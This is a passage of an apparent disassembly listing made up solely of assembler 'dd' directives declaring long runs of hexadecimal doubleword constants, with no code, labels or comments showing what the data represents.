0DF8CA6BBh, 0B600A8C1h, 0DB320935h dd 0E17B0901h, 0B1E1A28Ah, 8A379135h, 5B3442A4h, 0C7529546h dd 0AAE4C40Dh, 0FE709DAh, 1133F6ABh, 64B283Ah, 6D6366BAh dd 0A97672DBh, 561AB912h dd 8CD73E57h, 3E517F5Fh, 0F1A55A73h, 0F9DEB13Ah, 69A485AFh dd 947CFB76h, 139F0791h, 0BC336144h, 633A4F79h, 86C47F51h dd 32098955h, 64D8EB82h, 9F4FB053h, 9A61AE44h, 7DC7D325h dd 0C6AB35C6h, 0C2FD3CF1h, 0E6F6762Dh, 0D7EF4BA8h, 0F721FA7Ah dd 0A3915064h, 9B0343Dh, 2AB90BACh, 3C7340BCh, 0B14E0293h dd 0ECE1F7A0h, 0A7C2CD23h, 111F6D94h, 715B6188h, 0E24E3EF9h dd 5912906Bh, 646EDCF1h, 558A518Dh, 516A711Dh, 63BFA43Eh dd 798950AFh, 0CC1DBD00h, 0A647089h, 5AB77B08h, 39DED5A8h dd 0C4A35192h, 0AB677CF3h, 0C2D960FCh, 6D05844Bh, 0BA203B73h dd 0A4C103E0h, 0E5DACF52h, 8E77B8C8h, 0D3160D0h, 0C0B1E451h dd 0F8A2C51Fh, 0E2CBE106h, 14CF1828h, 0AA135865h, 7B817B3Bh dd 6FB6FE2Ah, 0A5E66D66h, 0DAFFE13Ah, 0C79E3F5Ah, 0A23E022Dh dd 2EFF299h, 56EC35B8h, 0FBD5825Ch, 5FE115B1h, 0A958442Eh dd 683716h, 14715D5Dh, 4D837ABAh, 0EAC04568h, 0DBF7B91Dh dd 927E44A0h, 37F407F9h, 98038890h, 4CC94EA1h, 0D0CD199Ch dd 9C2BD825h, 37D677FAh, 269BDAA8h, 87F3DA03h, 841020A9h dd 3778BE63h, 6CD37D31h, 3527720Ah, 8C04E4D3h, 0F6BCCF37h dd 16E3A8B1h, 20309F3Dh, 0F6CC59A4h, 8A3B8F64h, 0DFA4D21Bh dd 7571ABA6h, 67CF6DDDh, 206F5F5Ah, 0A248C085h, 94C4B71h dd 6C47F2B7h, 0B902FA6Ch, 37574DF6h, 0D9D8F587h, 348BFDBBh dd 91FB4970h, 0AD3475Dh, 9BE844C6h, 0CA0B6159h, 0C7DDDFABh dd 7F05FC26h, 0A87ECD29h, 68E1F48Eh, 0E66F41Dh, 5E533DFFh dd 773FC02Fh, 0A9638965h, 1D0798B2h, 83C1D4EDh, 0AB5C4335h dd 65438h, 0C74AB29Fh, 8132FB3Ch, 62AAC86Ah, 2014598Dh dd 1FA3C733h, 120DF2E6h, 1EBD71C0h, 6870189Ch, 383E3953h dd 8835009h, 1EF3EC1Eh, 0C2976578h, 0E393C5Ah, 0A035ECEDh dd 0DE9A888Ch, 4A08D46Bh, 0E37B925Ah, 0ED01D0BAh, 0C4DE6F79h dd 4A101B28h, 0B738A4A1h, 43303671h, 36A0071Bh, 3F788D4Ch dd 0FF5FAB9Fh, 62363DF6h, 0A4B3EE77h, 2D8B984Bh, 5D62A99Eh dd 4699A6DAh, 60F531F2h, 0B3C8352Eh, 0ED1D3AD4h, 78C8A949h dd 0AE22E7A4h, 0DB75F468h, 35132A05h, 48C800F9h, 34E8CAh dd 0AE8A8C6Ah, 88AA860h, 0AEB0F172h, 6008DBCAh, 90F6A99h dd 0F906AC85h, 553AE309h, 0E7F0F39Bh, 2A0723EFh, 8EBF1E58h dd 4F1E470Fh, 7E5DD173h, 0ECB1E9BEh, 0C87E4E8Fh, 0B90B44B4h dd 0C1BBEE27h, 0F3DD6DEFh, 4A495D3Dh, 0C4E72971h, 7DCA6F2h dd 0CDA730DDh, 0DF573611h, 0C920BB6h, 4624128Bh, 0BB628B1Dh dd 0CEF83619h, 37A8C465h, 19D5D819h, 9E0B7812h, 0BC0E54D8h dd 0B034C09Eh, 0D693D199h, 4CC72F3Dh, 7BE141AEh, 0EEE044B2h dd 66EB9E78h, 63A36BC2h, 1EA307Eh, 1E4B3223h, 42BD19BFh dd 94FF00E1h, 39A56EDAh, 6113498h, 16A1C36Ch, 3581DE3h dd 0B26C2723h, 0CC6066C4h, 1C77DB58h, 1E3E682Ch, 812583D6h dd 0CD7FCF3Eh, 2ED4FD8Fh, 0CE1E263h, 875A3FC8h, 860F8BEBh dd 0EC34D005h, 62913F01h, 7ECFE231h, 26E3D4C7h, 0DFF3DF36h dd 27153419h, 126BE61h, 84F333C5h, 0C951D8CCh, 0C2A3E00h dd 8E92E2F0h, 6468DB48h, 0E24B4631h, 0B93C1012h, 109A2E9h dd 99030A82h, 13D98872h, 0D1FD7FC7h, 0A6E4F0F5h, 4D1B89A9h dd 935E384Eh, 95F36960h, 121C3E67h, 4B99DE14h, 9978F2D3h dd 0A1AE3FFh, 6D6262E8h, 4E8CA418h, 0A3926798h, 0B93FF55Eh dd 0CB027991h, 20A0E91h, 0E83A4004h, 8237F3C4h, 40E01466h dd 0FCE76544h, 32122E32h, 0D0C84F46h, 48FB48B0h, 0BAEF9DC5h dd 0B02CD1BAh, 0E671D69h, 0FC65A12h, 0B77A8373h, 89B53593h dd 47E95125h, 317852F3h, 0F10A9619h, 0D1D8E043h, 0ABE1C475h dd 0B504C92Eh, 0B021038h, 4823F433h, 0DF2189C7h, 9325B160h dd 1B680900h, 0F6F69BD6h, 60E3AFA9h, 81CF2531h, 170EBE55h dd 9333645Ch, 0A22A1C29h, 39F53E9Fh, 8A359Eh, 288D4D53h dd 0D43E2DFFh, 0ACB2C2DBh, 0C354BE44h, 5C17C306h, 0FB8CD4E2h dd 57E3563Fh, 1450A035h, 0BA6687AAh, 4DC06B46h, 5D4772Ah dd 0D1F9BCEh, 0B9D15820h, 9E183959h, 0BA7DB020h, 9DA45C5Dh dd 0E5E858C5h, 0FCD03E60h, 0AA6225Bh, 0AC0A525h, 0D99478E6h dd 0B0F869D2h, 0A0CE9CD0h, 0FA160A9Dh, 57429811h, 54F92EA3h dd 9CEC85B8h, 0FAE93E80h, 0D94EA480h, 1E08465Fh, 342498D1h dd 0B23ABE7Ch, 3615E457h, 26AFE02h, 1D8CE578h, 900E1057h dd 60A778B6h, 0A49211CBh, 169D5CA6h, 74427575h, 0FE8B2477h dd 6C8001A8h, 8BE2E842h, 944F5FA6h, 4EA41ED7h, 19809AFAh dd 41DBFFBEh, 6B1CBD97h, 0AE323531h, 9FED549Eh, 7FF42F26h dd 0C542BD6Eh, 7E4A7C82h, 5CFD4D60h, 6915BEF1h, 5392BBCCh dd 0BE04EC6Bh, 7ECD1A7h, 0B8CDEF25h, 0C02091B3h, 0A359D567h dd 7F580EB3h, 0C16855DFh, 0E4CA4DD2h, 259A41DBh, 0F7693986h dd 44A403DFh, 8483D817h, 40EDDDEAh, 0A29DFF78h, 110A3FB4h dd 0FBFD0EF8h, 78DB4588h, 4F40B719h, 0F82B8558h, 0B1A2427Eh dd 0E8597079h, 8F047B0Fh, 0B446687Ah, 0C47BDBDAh, 63E85E6Ah dd 242C7F97h, 0A546F51Dh, 7C640410h, 0A8AC86D2h, 0CDFEE0E8h dd 0DA6B37F7h, 0C90E486Dh, 74632D13h, 910F93BAh, 0C73027D5h dd 0F453540Ah, 0C58053A5h, 0A5CD8245h, 0D25CE259h, 0AE72DB6Fh dd 0BE982647h, 122848Dh, 0C7653A07h, 6CDB5986h, 0FFDC93DCh dd 0FFA92AE9h, 0F063560Ch, 6360274Ah, 0C55B8497h, 3A63B510h dd 97FE271Eh, 787CBE68h, 2FD9C5C7h, 5A136FD3h, 6554AA4Dh dd 1FECB30h, 0D3201A97h, 0AD0036BAh, 0AD03BF67h, 8F32DBCAh dd 0B9CBA346h, 0DB5EC0ADh, 0F2859928h, 0CDC52B6Fh, 0D3D62A60h dd 0CD8CE7C8h, 67F00517h, 661F77Ah, 0FC3B589h, 3B2E5BF6h dd 0A2B61C6Eh, 1748C0A2h, 92BC1143h, 0BBB0959Eh, 0AAE268Ch dd 5101DC42h, 0E2795C08h, 49C93819h, 2C160907h, 37C761A2h dd 0E7BAA1AAh, 8597F8E1h, 0D3659108h, 9C3F9B37h, 580C0117h dd 0EE3300D5h, 85484D1h, 853A5C56h, 0E88B5D0Eh, 8347C50Ch dd 7B82DFECh, 0D1FD9E3Dh, 9EFEA6B5h, 0BF385146h, 0A1A3FE93h dd 60B2ECBAh, 0D35435E7h, 0D8A2B36Bh, 57D8CDE4h, 8716C13Eh dd 989BCE69h, 3B7972DCh, 1B4E6240h, 655763A0h, 796C1B2Eh dd 37D4C77Bh, 22B3E868h, 0FE1D5E39h, 0BE0F8624h, 2579D5DFh dd 0C0651960h, 9189AA7Dh, 0A59F5EDEh, 952951E6h, 938C2636h dd 7F9C2AAFh, 0F691C845h, 7B5F77D6h, 0FCB61DA5h, 3EB26D54h dd 829BA2Eh, 0AFE2C013h, 0B23005D9h, 11B2A179h, 833E9318h dd 0AEA3F1D9h, 366EB0FDh, 0A5B47E7Fh, 508BF7E0h, 0A3E9DA6Dh dd 979D6BC4h, 5FA20D17h, 4851CB49h, 885A26F2h, 6C3AA183h dd 0DE163BC4h, 0CF3A090Ch, 9EDC0F2Ch, 9E03DC26h, 0AAAA600Ah dd 9974DE26h, 0E16B8594h, 0E1D98D2h, 32C94C1Bh, 66BE21BAh dd 0F4343952h, 0B4A7A4A0h, 511174F2h, 0BD4F7A4Eh, 0A44CA6FBh dd 0B2723001h, 7661FBC3h, 7B518F6Eh, 0CF40B45h, 0C31CCD48h dd 67D813B7h, 40BDCEF2h, 0F122172Bh, 0C2FE8E81h, 0AED43786h dd 7D1003C2h, 0DC853D4Bh, 2ED1FCA8h, 0B1CE0D8Bh, 98477C3Fh dd 8A16DB6Ch, 0DBFE1A18h, 0F9412DFEh, 0ACFAA760h, 0F5147027h dd 6C171857h, 1EB1BA05h, 2361CD87h, 2381C855h, 2E23C491h dd 77D9B566h, 0FB2F71F3h, 6D1A67D3h, 0A43EA361h, 0C490E991h dd 0F89DAD5Ah, 67E44309h dd 0E53DF4E2h, 9C3D11FDh, 0BEBDA8E0h, 4C06BD5Dh, 5DDB4C32h dd 0E8ACCB76h, 0ED6E09Eh, 0C0B4BCA9h, 8F764C94h, 0E384A879h dd 0A0D62C14h, 0FC16F242h, 6E330052h, 0A626949h, 0C4CC8C30h dd 5176DE17h, 0D5F5CC21h, 8106FB5Bh, 0D3511494h, 78BEB0Dh dd 33E34DA3h, 98B3098Eh, 2EF49222h, 0F0F64152h, 89041DAFh dd 0D14FB7A6h, 632B09E1h, 3C495CA1h, 0FDB20529h, 39D7A856h dd 19C0B691h, 6B9FF696h, 98D324AFh, 43733528h, 425067B4h dd 0D155266Ch, 0F7246C9h, 49814926h, 0EEDC4DEh, 0E0DC320Eh dd 0FC66D8C8h, 0BDA02940h, 32CD9274h, 48BD8100h, 3FD544D2h dd 1A89E834h, 7F987D04h, 6F8B2956h, 33A58CEEh, 0D99A76D9h dd 68688758h, 0E41A94F2h, 1D34CBDDh, 0C25CA4EEh, 0F6BD56D9h dd 25EAD252h, 7DCD47DCh, 44E076B6h, 396CE565h, 9E0C54AEh dd 465E952Ah, 12C67AD8h, 0A478E526h, 2FD1EEF0h, 0AD9CC7FAh dd 15F8AC9Ah, 0F7ADAB06h, 0C1D523F7h, 0E75D10CFh, 594E0B2Dh dd 0ADAC9B7Fh, 0FDE75FAh, 0AAED9920h, 0D915F6E4h, 9474FF1Ah dd 0E5AAE0AEh, 0D310032Eh, 3943EC4Eh, 0A5C18046h, 0FDA4EFC9h dd 91AEA3F5h, 60F33B73h, 3110E44h, 0F7191603h, 936C303Bh dd 4E48F816h, 0EE608ADFh, 4C1EF012h, 350DB080h, 1DDC3F3Eh dd 327A3B2Fh, 8621B3DDh, 0A538D351h, 4B2DF5C9h, 2BCADA16h dd 64374710h, 0C10A5DDCh, 89636D8Ch, 3738AC99h, 0E26FDF37h dd 4CF9C3E7h, 0F8600B01h, 629FEE15h, 479EF929h, 2BB87FC7h dd 404DB7B5h, 3FDAA5B3h, 7124D216h, 11376FD4h, 4D925496h dd 0C5032410h, 7E3E253h, 266DB301h, 0C562AE2Eh, 752F22F0h dd 49763D8Ch, 0F72681E5h, 0BC9C3EDEh, 0B0E662C8h, 80F937EFh dd 0D492EAF3h, 0FA4BE937h, 0D47DA9B8h, 44994F63h, 642595CAh dd 0C478EF48h, 249A48EFh, 1487CC14h, 0AED4D1BFh, 0BF323C61h dd 7C3E4D0Ch, 0E9B88AF7h, 0D629CE6Ch, 9A924B15h, 5962E45Fh dd 0ABE2CFBh, 2F61D43Eh, 6EE0200Dh, 0B6449804h, 307FE85Ah dd 521139E3h, 9C89CDA2h, 0C20E8C3Bh, 1FB1D843h, 2DE5505Eh dd 0FE6A95E6h, 0B47E4B99h, 2BB1667h, 38E7356h, 0EF13451Ch dd 8A007A57h, 0D4A7ADB4h, 18E2E185h, 781CD3A2h, 0A1F67D6Eh dd 0E628263h, 3808CF3h, 0D3B40FB7h, 0EBC039D2h, 0B117AFE6h dd 0A91A849Dh, 5326FE91h, 0EDAAE301h, 6CDA544Fh, 95AD1FA1h dd 7B1AD2CCh, 377BD40Ah, 288E30C8h, 0A87DA644h, 0EF7EE05h dd 0F794A62h, 87D67149h, 0D8107C6Ah, 0A2BC611Eh, 6E724AA1h dd 87BE767Bh, 63FCA40Eh, 0D7D10682h, 0E78B39AAh, 22223ACCh dd 5F7F9D56h, 472D5714h, 1CA3D867h, 0AFEFD0C5h, 819985CAh dd 3FC06508h, 0A0CA8A6Bh, 0DB94204Fh, 607F8392h, 93A8E5D2h dd 9BA7BAF0h, 94A6A7B0h, 56854B89h, 2BD2BC85h, 3100E74Eh dd 416AD49Fh, 0A84D795Fh, 0D9BBDEA4h, 34472B1Ch, 173C7D29h dd 0B234CE16h, 0BF36D84Eh, 8C25BCC1h, 0C1CDC04Fh, 5470EBE6h dd 445B2793h, 7A42FF09h, 0FF11A396h, 5910ED32h, 0C7B223A6h dd 286BE3B0h, 0FD17433Ah, 711B5868h, 0A17F627Eh, 69E55F37h dd 22B3CBCBh, 0A65E8D97h, 8DCA0E78h, 99518823h, 0B2ED510Ch dd 5A73B76h, 888621FDh, 7FEBA010h, 0A26D873Dh, 0E4568027h dd 666396C9h, 2D9EC5BFh, 0F75ECB01h, 52D43A5Eh, 0AB04A68Dh dd 8154DF0Ah, 0E8BA6890h, 0A737462h, 62EBB6BFh, 897206Fh dd 8E3D926Dh, 3EB4E871h, 8512C105h, 85D71505h, 534664B6h dd 0D72D4CE0h, 2D567523h, 3A57560Bh, 4845D3CEh, 0A7008D7Eh dd 6419A9DDh, 0ABBDB7D1h, 857B3106h, 0C2B6C6D7h, 0C9D22EA4h dd 5786D36Bh, 933A4053h, 82D24F52h, 782D291Bh, 778B806Fh dd 0A43778B6h, 6415ABC2h, 0AC31CA90h, 60BA3834h, 54FBFA49h dd 92BCBD0Eh, 87CAF790h, 0E1B8D46Ch, 0D3DC9941h, 4AFB3F7Ch dd 4A6D34D4h, 0B3C7D543h, 2EB676DFh, 0F474EAA1h, 7CD27700h dd 56039596h, 141975EBh, 97C6EC64h, 75DB8A14h, 840FF2DEh dd 0B051E026h, 2F54FBCAh, 6A6988DDh, 0A3064A7Bh, 0A5F82AC0h dd 0AF0F0AECh, 50F48841h, 6D768EAh, 76523379h, 3E7E3EF9h dd 0C980D4C7h, 934AAFA8h, 0B33F5FA7h, 0ADF25262h, 76D09FA8h dd 4B6C6DA6h, 80D6B346h, 138967Bh, 1387F284h, 0D6DD3148h dd 4AE5AFh, 60190A59h, 0D5B83BB0h, 36880DE4h, 0C57CE35Ch dd 5D4007DFh, 15667C0Bh, 0B6C1801Ch, 7D3EAAF4h, 9574B676h dd 0E01C260h, 45E453Eh, 82616E0Dh, 0F5AFEC56h, 7836209Ah dd 7241CD24h, 9EB734A7h, 0CAE7A3E5h, 0B0B84109h, 0E1C80449h dd 0FB19C9E6h, 0DFBD3F01h, 0A134E52Ch, 0BBE206F9h, 32B6EB07h dd 0B23C04F0h, 0ADD0E7CCh, 439181B9h, 0AC26A2E0h, 0B12C9E28h dd 181DA3AFh, 4C232A9Bh, 62B0F643h, 11B7A5ACh, 90704E20h dd 23753EE3h, 7B34CE9h, 0C852037Ah, 0B9F51566h, 190EF2E6h dd 278DC260h, 7E46E736h, 6F98DAA6h, 0EA8F27D4h, 629B3A83h dd 52006801h, 1AFFDFE8h, 28C4F543h, 7BF1B096h, 3D9ED08Ah dd 9A9B3629h, 0AC840D07h, 55E55DD6h, 0AEEC3170h, 441905ACh dd 7511B84Ch, 25F33C79h, 682ECEF8h, 0D91F7820h, 944A5D8Eh dd 0AFED656Fh, 235BCD07h, 407F42ADh, 0FD1CFC0Ah, 0DB51D8C1h dd 3875126Dh, 372B2A30h, 9AF40A2h, 0CDACDDEAh, 3FA7FB70h dd 6EF142A2h, 8CDA6CC4h, 0D764895h, 0A6956F0Dh, 5685C545h dd 572891ECh, 9E044BFEh, 0F86D520Eh, 1FD49E22h, 4D5A53CDh dd 0F4E87E87h, 897596C7h, 55CCEF11h, 7CF548C9h, 7C3D7013h dd 92649A0Fh, 0C4B01C57h, 47C2619Ch, 0F88CA444h, 9AD2D1B8h dd 0FEC8D8FFh, 0D9764303h, 4C79BA34h, 3415CC7Eh, 0A697B2Fh dd 48EA9088h, 1770403Eh, 7A5621C1h, 47003067h, 2AD26783h dd 48439298h, 3929CDE8h, 0A7F74506h, 786EA452h, 47C7920Dh dd 6CF01F41h, 0F8D83433h, 58D8379Bh, 2E73DD64h, 46659285h dd 919A9B63h, 188B1E11h, 94F1EAFCh, 0EB49866Ch, 70A5CF5h dd 82A83305h, 0DD5B2E0h, 0A4DD98Bh, 7DB2C679h, 6A26B3BAh dd 7AB8FEAEh, 0B4BEEFCDh, 5CCDF57Bh, 3B6CE643h, 0E272B272h dd 3E6930ADh, 0FC4569B9h, 3D19EE55h, 823E6D7Eh, 8CB6B969h dd 8D59978Ah, 0EEBCA81Eh, 0DC9056D0h, 241EED25h, 679D7629h dd 0DB2A0582h, 8498FAFh, 0FC76768Bh, 42C0E3EEh, 3057106Ah dd 2F73D6DEh, 56E001C9h, 0B9749805h, 560023DFh, 0AE20DDE3h dd 0EF684977h, 43E5019Bh, 0F057619Dh, 0FC2FFA54h, 32D2A18Ah dd 0FD09F15Dh, 0D166BB0Ch, 0B5E50404h, 0C3803013h, 8A51937Ah dd 0CB20F096h, 0C73E11B2h, 322944B3h, 0C89D29BAh, 0DA700339h dd 0FE415AB2h, 475874CEh, 0AF26F3ADh, 0A735AAA5h, 31C9FB29h dd 70E89DB6h, 92326645h, 804937B9h, 298998DCh, 26251362h dd 0CBCB5207h, 3152A617h, 8C0F4395h, 87C3BCBCh, 4FAB6398h dd 507D977Fh, 0FD88A39Ch, 0F2ACA772h, 0C0460619h, 5BD52C01h dd 343A3ABFh, 2225FC70h, 801FC00h, 4A5B3DA6h, 70BB8271h dd 996F5A91h, 9EDD335Ch, 0AF0CB244h, 0A4C80BB4h, 7689F0EFh dd 0B7EBA6D7h, 0CBD51BCFh, 704FA3E6h, 0CF095C9Bh, 7C8F26BEh dd 5C68ED2h, 0B7250DDDh, 6FE90DFh, 5D649347h, 5FA11F72h dd 704D61AEh, 638D4D95h, 95935977h, 0BB493AE3h, 0A54D372Bh dd 9AD7E8Ch, 75474AC7h, 591CEEB5h, 0E6439B98h, 67848474h dd 44C7BB2Bh, 14CBBF66h, 3A048440h, 5433E8C8h, 0AA109635h dd 0B09B0F8Ch, 9DDACA34h dd 0A19985C8h, 0F574B778h, 626808A8h, 0B47A202Fh, 3D93588Eh dd 590F7B22h, 4B39EED2h, 0F863083h, 6FE1EC8Ch, 0A33F224Ah dd 0C4A0BBE5h, 200759BDh, 0E1BAD76h, 0A7A3A5C9h, 6A831734h dd 0ED90F964h, 87B3FBBEh, 0C3E73359h, 3EFD5343h, 0EDAEB731h dd 66B52662h, 6FAC095Dh, 6A874B5Fh, 0AF817364h, 2338F236h dd 827FAAE0h, 0C09FDD7Ah, 42C9161Bh, 0DA36EF5Bh, 71C112F5h dd 80A03042h, 885DF642h, 1F61141Eh, 9EEDF9ECh, 0EF0818BCh dd 6AE2F52Ch, 52BBA014h, 779D63D1h, 10B37769h, 0E626689Dh dd 7E69FB35h, 21A1AFD8h, 0EFACAFB7h, 0E5C65D43h, 0B35EA6E0h dd 1859099Fh, 9E159DE1h, 0D61B7898h, 44C26671h, 709B0823h dd 0DFCB702Bh, 0B71D5329h, 688BA897h, 0E0E57A81h, 0ABC4B5A1h dd 9F39BFBEh, 0D9DE6B7h, 306723AAh, 8F5FBDEEh, 0F59A2E6Dh dd 491239B7h, 7345280Fh, 0C4B2F233h, 6401B132h, 98CD17D4h dd 0F1B618DDh, 9CD9EE7Fh, 0B2B01A3Ah, 0D29E3740h, 16CEA8F4h dd 6ABAAF53h, 306BA0DDh, 0F84D3871h, 0C349561Ah, 0CF088D99h dd 0D3C00A74h, 0F3C87F86h, 17282587h, 8B582F1h, 32BAE203h dd 3FE94DD3h, 36608D75h, 62A4DF9Eh, 624660EFh, 9647FB55h dd 6F8088ACh, 0B0D513F2h, 98ABA36Ch, 0E5916A32h, 0C5660B65h dd 0A9225CB2h, 0DF06DBDBh, 0ABE53A9Fh, 0A4E81BE3h, 6A3D8C56h dd 8635AE11h, 100C0B92h, 0A5D24C9Ch, 6127D1A1h, 583A2CB4h dd 8C5033Ch, 0F30F8C5Ah, 55FA3FFCh, 0B02E92DEh, 0A737F9D4h dd 0E26BBFEEh, 8AA306DDh, 592ECBD8h, 0FAC1479Eh, 3B69EEF8h dd 9D76B0B0h, 0D98BE9D9h, 0C6232DFDh, 0A49CFAh, 8984CA67h dd 81757DA3h, 0DE6A3C7Fh, 726AF203h, 0A983AF78h, 195A20CEh dd 9B82651Fh, 5C042CC2h, 0C1CB3E14h, 12EBCF8Ch, 83DDDC7h dd 93843490h, 4D447BA8h, 0E5356640h, 0D4995D23h, 887FECDEh dd 0E7D7FA0Dh, 0E4B6A7AFh, 0A20597CDh, 0A14B74F1h, 461C2D2h dd 0FFDF7A89h, 0E625BE22h, 24EDAE1h, 941932CBh, 0A36A8B31h dd 0E24E50E5h, 566D3AFEh, 137BB90Dh, 385DE69h, 6AB49C54h dd 3A2FDF15h, 75EA7DB5h, 0A192CBFDh, 999BA94Bh, 0E752E109h dd 0A1B97630h, 9F01864Ch, 17C06428h, 66FD915Ah, 0FDE3E5C8h dd 0FFA2D79Ch, 0CAB52A84h, 0E9E431E5h, 63FE2FE6h, 3F5D0A14h dd 0E21A1BDBh, 0E51F61C7h, 9FB57E35h, 0EBA59ED3h, 0B22552CFh dd 0BFCFC901h, 0E41326BDh, 7FF4CD85h, 3D9BA6A6h, 20CF2AD8h dd 0A125A0E6h, 0E0F325A9h, 6AD19BF8h, 6069A9AAh, 0C8FC6C3Dh dd 0CB776E82h, 362A9AF5h, 56FA6511h, 0B92871CCh, 8A9DEAADh dd 0BBC17D55h, 80A99432h, 813AB7CDh, 0A5DAB1CBh, 1092A8A6h dd 0E0C7AE8Dh, 0A70E6F9Bh, 987636ACh, 6E9C29FEh, 0B96C0221h dd 5F61C7AEh, 8D4879F6h, 0D674C8D0h, 0CA21BD3Eh, 9FD4A210h dd 4E8EA07Fh, 0A690BFE1h, 2ECED991h, 60A9E027h, 349A4DADh dd 63DFF314h, 113E9882h, 6A919BD4h, 6DC1887Eh, 987649D4h dd 44809019h, 64669822h, 0C5CC790Fh, 0D7314BBFh, 0D0370662h dd 4C3332BCh, 254F36D2h, 98C68C0Dh, 11BF2809h, 0D3021D8h dd 8516939Dh, 0FA404767h, 39FE9312h, 2B6FF738h, 1466F6A5h dd 45291654h, 4C45D9C7h, 0E578F722h, 4D15C284h, 0F088206Fh dd 0A05E0E76h, 6AD04DDAh, 36B48DDDh, 0D4E5CEF8h, 1A4489B2h dd 2B66F4B5h, 0CC8C0DF1h, 0CF0CC8BAh, 7D70BF57h, 0D40031F5h dd 2E24CC5Dh, 1A836F43h, 4308778Bh, 9FCED52Ah, 0F387E790h dd 1F8880EEh, 0BA4A03D1h, 4E1ED43Eh, 3F867B70h, 0C77A5C7Fh dd 2E52A283h, 84B2425Fh, 9A07C11Eh, 0AB103A6Bh, 653DEE1h dd 0BC88205Bh, 7DED5786h, 0CFC3B402h, 0B62BDD35h, 4F02EF15h dd 8B958E95h, 5709714h, 3ACDCDF5h, 0BE08B5DEh, 1746412Ch dd 5BC885DBh, 0DD67C07h, 0D06F7E75h, 9CE484C5h, 3830284h dd 3DBE65A1h, 1BD9DD23h, 0A13844A5h, 29569700h, 0F200BAFBh dd 8C6A0311h, 6420E32Ah, 357BC2C1h, 0E7CE8F42h, 0CC520B22h dd 728DCA10h, 467BE3D8h, 21432B4Eh, 4C67644Ch, 41C06C1Ah dd 5FD6BE76h, 0A1B153E0h, 5B9AEB44h, 95B8BE19h, 0B6F86C27h dd 0C62AF24Bh, 3823C0DEh, 0AA1AA97h, 0D1DBF514h, 0BE174F80h dd 84CC338Fh, 0E0A78876h, 0AD7036Dh, 8B3424D2h, 6E3E7866h dd 7EAE3BA8h, 8E5A1A8Ah, 1AA815D4h, 0F3A1E16Ah, 0FC3594FBh dd 0A3ABE5DBh, 0D181E220h, 940FFEF0h, 5631E174h, 822B077h dd 0FCBE0A42h, 0CB593A3Eh, 0CB0947A3h, 6F06A7A1h, 1C6F3A70h dd 80579DA4h, 0F935A6ADh, 202555DCh, 0F98E07ABh, 0A1366999h dd 9FE82D32h, 0AABBF436h, 0CEC843Ch, 0D50053D1h, 8DA37678h dd 0E2A0CC0Ah, 0DF698B08h, 9B8D408Ah, 3703C2A6h, 84D7D491h dd 7A939494h, 79A63AA1h, 31BEB543h, 0DC719A41h, 2D2A8286h dd 0AC6C6B0Ch, 564DEE25h, 0B928EDE9h, 836A3A06h, 96BDB2ADh dd 662FBC2Bh, 41DBF056h, 186582h, 121D6329h, 0AC87625Ch dd 89D6C9F0h, 5C94B639h, 0E9BE280Ch, 0FE12F226h, 0E6F71C6Eh dd 707B222h, 0CA636151h, 0B986E435h, 32339A9Eh, 12DBD713h dd 3CBC7EF7h, 0F27F17BBh, 63EB2A3Bh, 2EE5DFDDh, 5A44402Eh dd 98249D20h, 7B05EB7Ah, 841F02E4h, 0FD3339Dh, 58AFF9EEh dd 71261E22h, 386A452Fh, 0D386277Ch, 0B5DF1B1Ch, 880B2E20h dd 77AA276h, 21C37561h, 737E0C54h, 810CE739h, 8A9008BAh dd 7CBD9DBEh, 1FF7F63Bh, 0C3E8B54Bh, 0F774C5DBh, 258E09B1h dd 0F392985Bh, 949F552Bh, 0ABAED0F7h, 0E5E14A2Fh, 9B4B958Eh dd 0F11FD2E0h, 0AA8EC92Bh, 0EF4C3A51h, 0E9205E24h, 211AFEF7h dd 8CF956B0h, 0B5353FE4h, 0D6B2F182h, 3845A227h, 59902C02h dd 0B72DD540h, 82147BF6h, 50F222BCh, 15F91AD8h, 0B643DFE1h dd 89CD881Ch, 2750E2FBh, 0E13D2CA1h, 0F5ED2946h, 428519FEh dd 0D9F64CBDh, 9B0B8A52h, 9878BF1Fh, 25C75BF4h, 2CFFA8A1h dd 4237EFFCh, 9E99A66Bh, 5BC4BD7Ch, 258D2649h, 4CC64890h dd 123BF55Eh, 6F1AA0EBh, 82FCC77Fh, 23098556h, 3FC73140h dd 14CE4E0Dh, 0CE0B5F08h, 473EF438h, 50A806F3h, 0B5F2F21Fh dd 0BBF06791h, 8421A79Eh, 0EB8D9ACCh, 7C021B2Ah, 5BB1BF75h dd 6EE0D4B0h, 1EDD1F8Ah, 0FA4E8CF3h, 6DB81BC7h, 0E6C2524Dh dd 108FA45Eh, 0BDBD8601h, 9B8AEADCh, 0E303E484h, 3D3339F8h dd 0DB70EAA6h, 22C70A62h, 0EE2E96Ch, 0DD268C6Ah, 44D0AEC7h dd 0ABE62314h, 0C056CDF3h, 0CC70C87Dh, 37168361h, 17A8FD07h dd 6CD01650h, 4807E35Bh, 2F6FC227h, 0E90832FFh, 0E7D262BDh dd 33465723h, 1D3519C7h, 56D28400h, 0B7165E50h, 0A2CB0BBEh dd 0EF043C3Fh, 0CB5344CDh, 9C69368Bh, 0BC0F7AAFh, 206F6484h dd 1A82BC13h, 0E2FBD463h, 4EB6B8C9h, 0EA2A36DBh, 7F7FEB62h dd 7E675D8Dh, 52F8B054h, 0A824AC25h, 89823BE0h, 8E2576F6h dd 0D897C2FEh, 358993E1h, 1A09728Ah, 463BBEADh, 9EAA4A9Eh dd 55B79E57h, 292DA24Ch, 545E11A3h, 255834FAh, 32118231h dd 0A33CEE05h, 0ED838FD8h, 346A147Dh, 56F891AEh, 0D8F3663Fh dd 1B604FE1h, 0CF101ECBh, 4CFFC125h, 3356146Fh, 60244710h dd 3F871716h, 0A924C69Bh, 0C286C62Bh, 2CDC37FEh, 0C9BEA0ADh dd 0FDDC0BD1h, 4D239BD9h, 4B0916B9h, 0D3955CAFh, 651E4222h dd 5D00338Ch, 9F147397h, 0FC900F4Bh, 0EFFAD16Ch, 0C15A558Ch dd 0C1393F6Dh, 148BBB15h, 0F116F2C2h, 360A3012h, 0FB010C3Fh dd 2376B13Ch, 49702844h dd 0B5742CFCh, 604D5BFAh, 0F1572650h, 6AC0CA3Fh, 6A20F922h dd 366E6881h, 0BE22929Dh, 0AE6F801Ah, 0A6C94B0Fh, 483997E9h dd 0EEAA3B55h, 0A03AF9E2h, 6AEBC578h, 0E0EB2C5Bh, 5C8B320Bh dd 43F5186Eh, 0B6FBC387h, 4AA5CEF8h, 1B7C904Eh, 9E884280h dd 9302A3ABh, 0A0CDD0F5h, 21C41075h, 0A628BD63h, 0CA76FBDh dd 0A59BE0EDh, 0BB81A0ECh, 0CB70A7D0h, 73C0BD8Bh, 521A6F08h dd 